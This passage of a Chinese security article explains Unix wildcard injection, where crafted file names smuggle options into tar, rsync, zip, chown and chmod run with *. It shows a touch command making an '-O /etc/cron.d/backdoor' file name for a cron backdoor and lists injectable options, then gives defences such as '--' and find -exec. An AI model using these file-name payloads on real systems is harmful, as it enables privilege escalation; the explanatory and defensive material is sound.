.label,#mermaid-svg-iF24QFWDqmHPDbD4 .icon-shape .label{text-anchor:middle;}#mermaid-svg-iF24QFWDqmHPDbD4 .node .katex path{fill:#000;stroke:#000;stroke-width:1px;}#mermaid-svg-iF24QFWDqmHPDbD4 .rough-node .label,#mermaid-svg-iF24QFWDqmHPDbD4 .node .label,#mermaid-svg-iF24QFWDqmHPDbD4 .image-shape .label,#mermaid-svg-iF24QFWDqmHPDbD4 .icon-shape .label{text-align:center;}#mermaid-svg-iF24QFWDqmHPDbD4 .node.clickable{cursor:pointer;}#mermaid-svg-iF24QFWDqmHPDbD4 .root .anchor path{fill:#333333!important;stroke-width:0;stroke:#333333;}#mermaid-svg-iF24QFWDqmHPDbD4 .arrowheadPath{fill:#333333;}#mermaid-svg-iF24QFWDqmHPDbD4 .edgePath .path{stroke:#333333;stroke-width:2.0px;}#mermaid-svg-iF24QFWDqmHPDbD4 .flowchart-link{stroke:#333333;fill:none;}#mermaid-svg-iF24QFWDqmHPDbD4 .edgeLabel{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-iF24QFWDqmHPDbD4 .edgeLabel p{background-color:rgba(232,232,232, 0.8);}#mermaid-svg-iF24QFWDqmHPDbD4 .edgeLabel rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-iF24QFWDqmHPDbD4 .labelBkg{background-color:rgba(232, 232, 232, 0.5);}#mermaid-svg-iF24QFWDqmHPDbD4 .cluster rect{fill:#ffffde;stroke:#aaaa33;stroke-width:1px;}#mermaid-svg-iF24QFWDqmHPDbD4 .cluster text{fill:#333;}#mermaid-svg-iF24QFWDqmHPDbD4 .cluster span{color:#333;}#mermaid-svg-iF24QFWDqmHPDbD4 div.mermaidTooltip{position:absolute;text-align:center;max-width:200px;padding:2px;font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:12px;background:hsl(80, 100%, 96.2745098039%);border:1px solid #aaaa33;border-radius:2px;pointer-events:none;z-index:100;}#mermaid-svg-iF24QFWDqmHPDbD4 .flowchartTitleText{text-anchor:middle;font-size:18px;fill:#333;}#mermaid-svg-iF24QFWDqmHPDbD4 rect.text{fill:none;stroke-width:0;}#mermaid-svg-iF24QFWDqmHPDbD4 .icon-shape,#mermaid-svg-iF24QFWDqmHPDbD4 .image-shape{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-iF24QFWDqmHPDbD4 .icon-shape p,#mermaid-svg-iF24QFWDqmHPDbD4 .image-shape p{background-color:rgba(232,232,232, 0.8);padding:2px;}#mermaid-svg-iF24QFWDqmHPDbD4 .icon-shape .label rect,#mermaid-svg-iF24QFWDqmHPDbD4 .image-shape .label rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-iF24QFWDqmHPDbD4 .label-icon{display:inline-block;height:1em;overflow:visible;vertical-align:-0.125em;}#mermaid-svg-iF24QFWDqmHPDbD4 .node .label-icon path{fill:currentColor;stroke:revert;stroke-width:revert;}#mermaid-svg-iF24QFWDqmHPDbD4 :root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;} 命令执行向量
构造 -T -TT 文件名
zip 执行完整性测试
执行 sh a.txt
提权

4.3.2 任意文件写入:-O 参数注入

zip-O--out)参数可重定向输出路径。攻击者构造包含 -O 的文件名:

bash 复制代码
touch -- "-O /etc/cron.d/backdoor"

当 root 执行 zip backup.zip * 时,输出被重定向到 /etc/cron.d/backdoor,若配合精心构造的 zip 内容,可实现 cron 后门植入。


5. 攻击面总结与利用场景

命令 注入参数 攻击效果 利用条件
rm -rf 递归强制删除 目录可写
chown --reference= 文件属主劫持 目录可写 + root 执行
chmod --reference= / -R 权限篡改 目录可写 + root 执行
tar --checkpoint / --checkpoint-action 任意命令执行 目录可写 + 定时任务/脚本
rsync -e 远程 Shell 执行 目录可写 + 含通配符的 rsync
zip -T / -TT / -O 命令执行 / 文件覆盖 目录可写 + 含通配符的 zip

典型利用场景

  1. Web 上传目录:攻击者上传含恶意文件名的文件,等待管理员执行备份脚本
  2. 共享目录 :多用户可写的目录(如 /tmp/var/www/uploads
  3. Cron 定时任务*/10 * * * * cd /backup && tar czf backup.tar.gz *
  4. CI/CD 流水线:构建脚本中使用通配符打包源码

6. 防御方案

6.1 根本修复:避免通配符与文件名混合

bash 复制代码
# ❌ 危险
tar czf backup.tar.gz *

# ✅ 安全:使用 -- 终止参数解析
tar czf backup.tar.gz -- *

# ✅ 更安全:显式指定文件或使用 find
find . -maxdepth 1 -type f -exec tar czf backup.tar.gz {} +

6.2 各命令专项防御

命令 安全用法
tar tar czf backup.tar.gz -- *tar czf backup.tar.gz .
rsync rsync -t -- *.c backup:/srv/
zip zip backup.zip -- *
chown chown -R nobody:nobody -- *.php
chmod chmod 000 -- *

6.3 系统级加固

bash 复制代码
# 1. 限制可写目录的执行权限
chmod 1777 /tmp  # sticky bit

# 2. 使用 chroot 或容器隔离文件系统

# 3. 审计脚本中的通配符使用
grep -rn '\*' /etc/cron* /var/spool/cron/

# 4. 设置 GLOBIGNORE 排除以 - 开头的文件(bash)
export GLOBIGNORE='-*'

6.4 开发规范

  • 永远不要在脚本中使用裸通配符处理用户可控目录
  • 使用 -- 明确分隔选项与文件名
  • 对文件名进行白名单校验,拒绝以 - 开头的文件名
  • 优先使用 find-exec 或管道配合 xargs -0

7. 结论

通配符注入是一种"返璞归真"的攻击技术,它不需要复杂的漏洞利用链,却能在特定场景下造成与内核漏洞同等级别的危害。其核心原因在于 Unix 命令行接口将"选项通道"与"文件名通道"混为一谈,而通配符展开恰好是打破这一边界的桥梁。

对于红队而言,通配符注入是权限提升和横向移动的隐蔽武器;对于蓝队而言,审计脚本中的通配符使用、加固可写目录权限、推广 -- 最佳实践,是降低此类风险的关键。

正如原始论文作者 Leon Juranic 所言:"这不是关于现代黑客技术,而是关于 Unix shell 黑客------带我们 straight back to the 80's。" 在容器化、DevOps 盛行的今天,那些隐藏在 tar *rsync *.c 中的古老陷阱,依然值得每一位安全从业者警惕。


参考文献

Juranic, L. (2014). Back To The Future: Unix Wildcards Gone Wild. Exploit-DB, EDB-ID: 33930.

相关推荐
汤愈韬2 小时前
四种 NAT 类型详解|透彻理解 NAT 穿越原理(全锥 / 受限锥 / 端口受限锥 / 对称 NAT)
网络·网络协议·安全·网络安全·security
郑洁文3 小时前
基于网络爬虫的XSS漏洞检测系统的设计与实现
网络·爬虫·网络安全·xss
菩提小狗3 小时前
每日安全情报报告 · 2026-06-02
网络安全·漏洞·cve·安全情报·每日安全
酉鬼女又兒4 小时前
零基础入门计算机网络:第一章概述全解(三种交换方式+八大性能指标+体系结构分层+十年考研真题精讲)
网络协议·计算机网络·考研·网络安全·职场和发展·计算机外设·求职招聘
刘婉晴7 小时前
记一次渗透测试流程
渗透测试
云安全助手8 小时前
高防IP是什么?原理是什么?
网络安全
Whoami!8 小时前
02-【高校】校园网等保三级架构
网络安全·安全架构·拓扑
郑洁文20 小时前
基于网络爬虫的Web敏感信息泄露自动化检测工具
前端·爬虫·网络安全·自动化
Latticy1 天前
内网渗透-Windows RDP凭证的抓取和密码破解
网络·安全·网络安全·内网渗透·内网